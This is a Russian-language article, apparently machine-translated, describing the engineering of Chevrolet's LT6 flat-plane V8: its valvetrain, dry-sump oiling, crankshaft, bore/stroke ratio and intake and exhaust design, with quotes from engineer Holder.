LT6 не имеет системы переменного подъема клапана, хотя его полые распределительные валы оснащены системой изменения фаз газораспределения. По словам Холдера, кулачки регулируются электрогидравлической системой, которая обеспечивает угол поворота впускного кулачка около 55 градусов и около 25 градусов на кулачке выпуска. Эта способность фазирования кулачка должна помочь двигателю быть более управляемым на низких оборотах.
Сами кулачки давят на толкатели пальцев, которые, в свою очередь, воздействуют на титановые впускные клапаны и выпускные клапаны, заполненные натрием. Клапаны управляются на высоких оборотах с помощью двухклапанных пружин, при этом меньшая пружина расположена внутри большей наружной части. LT6 имеет сплошные подъемники — подъемник является частью между толкателем кулачка и самим клапаном, — которые обычно требуют регулировки с течением времени. Однако Chevy говорит, что вам не придется настраивать подъемники на LT6. Это потому, что это созданный автоматизированный инструмент, который обеспечивает очень точную посадку между толкателем для пальца и самим подъемником.Вдобавок к этому автопроизводитель разместил масляную струю, которая протекает через толкатель пальца и распыляет непосредственно на область, где встречаются поверхность кулачка и толкатель пальца. Это, по словам Chevy, поможет поддерживать максимально постоянные допуски на протяжении всего срока службы двигателя. Только время покажет, действительно ли не нужна никакая регулировка, но Chevy, вероятно, испытав очень похожую установку на C8.R, кажется уверенным.
«Двигатели собираются вручную в Bowling Green и являются частью этого процесса [точной подгонки подъемника]…. головка блока цилиндров и крышки кулачков полностью собраны, измерен рабочий зазор, разобран, и это измерение рабочего зазора входит в расчет, в котором робот предварительно выбирает прокладки, чтобы вставить их обратно в толкатель пальца для правильной посадки », — сказал Холдер. , подробно описывая дело ». Итак, мы убираем все варианты сборки, собираем голову, измеряем ее еще раз, убеждаемся, что все в порядке, проходит эту станцию. А потом, когда головка прикручена к двигателю, мы измеряем ее еще раз ».
Шевроле
Если не углубляться в систему смазки с сухим картером, о которой, как я знаю, многие люди определенно хотят услышать, это довольно интересно.В LT6 используется 5W50, который чрезвычайно эффективно прокачивается через двигатель. В картере есть четыре точки и две точки, расположенные в головках, где масло собирается обратно в его удаленный поддон. В интервью Road & Track , автопроизводитель сообщил, что в большинстве случаев до 80 процентов масла остается в поддоне картера. Масло прокачивается через двигатель, выполняет свою смазочную работу, а затем очень быстро отправляется обратно в поддон. Если вы хотите увеличить мощность, вам не должно мешать масло, а система смазки LT6 удерживает масло на пути быстро движущихся компонентов, таких как коленчатый вал.
Каждая шатунная шейка также имеет свою собственную разделенную на отсеки область картера, что делает очистку масла, отбрасываемого от кривошипных шейки — шейки, к которой прикреплен кованый алюминиевый поршень, — более эффективно за счет уменьшения ветра. В этих регионах расположены точки сбора мусора. Кроме того, под каждым поршнем имеется собственный масляный распылитель, который помогает охлаждать камеру сгорания.
Важнейшей частью поддержания работоспособности этой масляной системы, конечно же, является фильтрация, и LT6 имеет фильтр картриджного типа с болтовым креплением.Это не потому, что команда инженеров просто предпочла это, а из-за вибраций, связанных с плоской кривошипом. «Когда мы впервые строили наши самые первые двигатели на динамометрическом стенде, мы видели, как двигатель сразу же вращал картриджный фильтр [из-за вибрации]», — сказал Холдер. «Теперь у нас есть патронный фильтр , [который] не крутится. Он прикручен».
Эта надоедливая вибрация была препятствием для команды, в отличие от проблем, с которыми столкнулся Ford Mustang Shelby GT350 5.2-литровый Voodoo V8. Большие плоские V8 трясутся как сумасшедшие, и Chevy решил эту проблему не только с помощью масляного фильтра, который не откручивается, но и с помощью других умных функций, таких как, что наиболее важно, гидравлический демпфер на кривошипе. Для ясности, здесь нет балансирных валов или чего-то подобного. Демпфер работает вместе с рядом более легких вращающихся компонентов в сборе, чтобы попытаться уменьшить резонанс. Компоненты меньшего размера, такие как электрические разъемы, также пришлось перенастроить, чтобы убедиться, что они не отключатся в течение всего срока службы двигателя.По словам Холдера, все эти характеристики были проверены на гоночной трассе.
Шевроле
Коленчатый вал изготовлен из кованой стали и крепится к блоку четырьмя болтами на каждую основную крышку. Он определяет ход двигателя 3,150 дюйма (80 мм), что довольно мало по сравнению с вышеупомянутым внутренним диаметром 4,104 дюйма. Это типично для высокооборотных двигателей, и действительно, LT6 имеет одно из самых коротких отношений диаметра цилиндра / хода среди всех серийных силовых агрегатов. Инженерное объяснение , к счастью, провела исследование и представила для сравнения несколько других автомобилей с соотношением диаметра цилиндра и ходом поршня, так что нам это не нужно. Соотношение диаметр цилиндра / ход поршня LT6 составляет 1,3: 1; сравните это с 1,25: 1 у нынешнего Porsche 911 GT3, 1,16: 1 у Ferrari 458 и 1,12: 1 у обычного C8. Для справки: отношение диаметра цилиндра к ходу хода автомобиля F1 составляет 1,51: 1. Чем выше коэффициент, тем выше теоретическая «возможность изменения». Эта возможность поворота обеспечивается коваными титановыми шатунами.Вся нижняя часть LT6 кована, включая поршни и кривошип.
Другие приемы на впуске и выпуске, такие как три дроссельных клапана между двумя первичными впускными коллекторами, также помогают повысить крутящий момент, мощность и управляемость. Эти клапаны влияют на резонанс впуска и объем впускного коллектора. Они запрограммированы на открытие и закрытие во всем диапазоне оборотов, чтобы максимальный крутящий момент сохранялся дольше. Как это на самом деле заставляет двигатель создавать более или менее результативную работу — это кроличья нора, но это кратко объясняется во встроенном видео E / E .
Хитрости выхлопной системы включают форму реверсивной трубы, которая была подробно описана на изображении автомобиля, помогая повысить шум выхлопа в салоне. Сама выхлопная система представляет собой схему 4-2-1, в которой четыре выхлопные трубы объединяются в две, а затем эти трубы объединяются в одну. Эта установка, работающая с плоской компоновкой двигателя, обеспечивает отличную продувку выхлопных газов, что жизненно важно на высоких оборотах. Удаление выхлопных газов, если вы не знаете, как это работает, — это процесс, с помощью которого выхлопной импульс, идущий по выхлопной трубе, помогает направлять другие импульсы вниз по трубе вместе с ним.Когда у вас двигатель с высокими оборотами, жизненно важно увеличить поток выхлопных газов. Эффективная продувка выхлопных газов позволяет увеличить поток выхлопных газов.
Все эти функции делают LT6 невероятно производительным. Что еще более увлекательно, так это то, что автомобиль, в котором живет этот двигатель, вероятно, будет стоить менее 100 000 долларов, и он разделяет настоящие части с гоночным C8.R. «Это не просто маркетинговый слоган. Это правда», — сказал нам Холдер. «[Мы] буквально делимся деталями с гоночной командой. Нам может не хватать деталей для обновления некоторых из наших машин разработки, мы их назовем.Принесут и наоборот. Мы ходим на встречи вместе ».
Шевроле
Эта совместная разработка позволила сделать самый мощный атмосферный V8, когда-либо устанавливаемый на серийный автомобиль, в относительном выражении выгодной сделкой. Ожидаются впечатляющие двигатели вроде многомиллионных гиперкаров, но они понравятся ограниченному кругу людей. Не часто энтузиасты могут мечтать о чем-то настолько особенном, не планируя при этом свой путь к тому, чтобы стать миллионером.Говоря о нормальных энтузиастах, Холдер считает, что многие из них хотят машины, подобные той, которую он помог создать.
«[LT6] является вершиной многих-многих лет, как будто он стоит на плечах гигантов», — сказал он нам. «Это встроено в этот двигатель, и это своего рода способ отметить не только двигатель внутреннего сгорания, но и чистую радость от вождения от звуков, которые он издает, от того, как он заставляет вас чувствовать связь с машиной».
«Есть еще много людей, которые жаждут этого опыта», — заключил он.
Есть отзыв или вопрос к автору? Вы можете связаться с ними здесь : [email protected]
.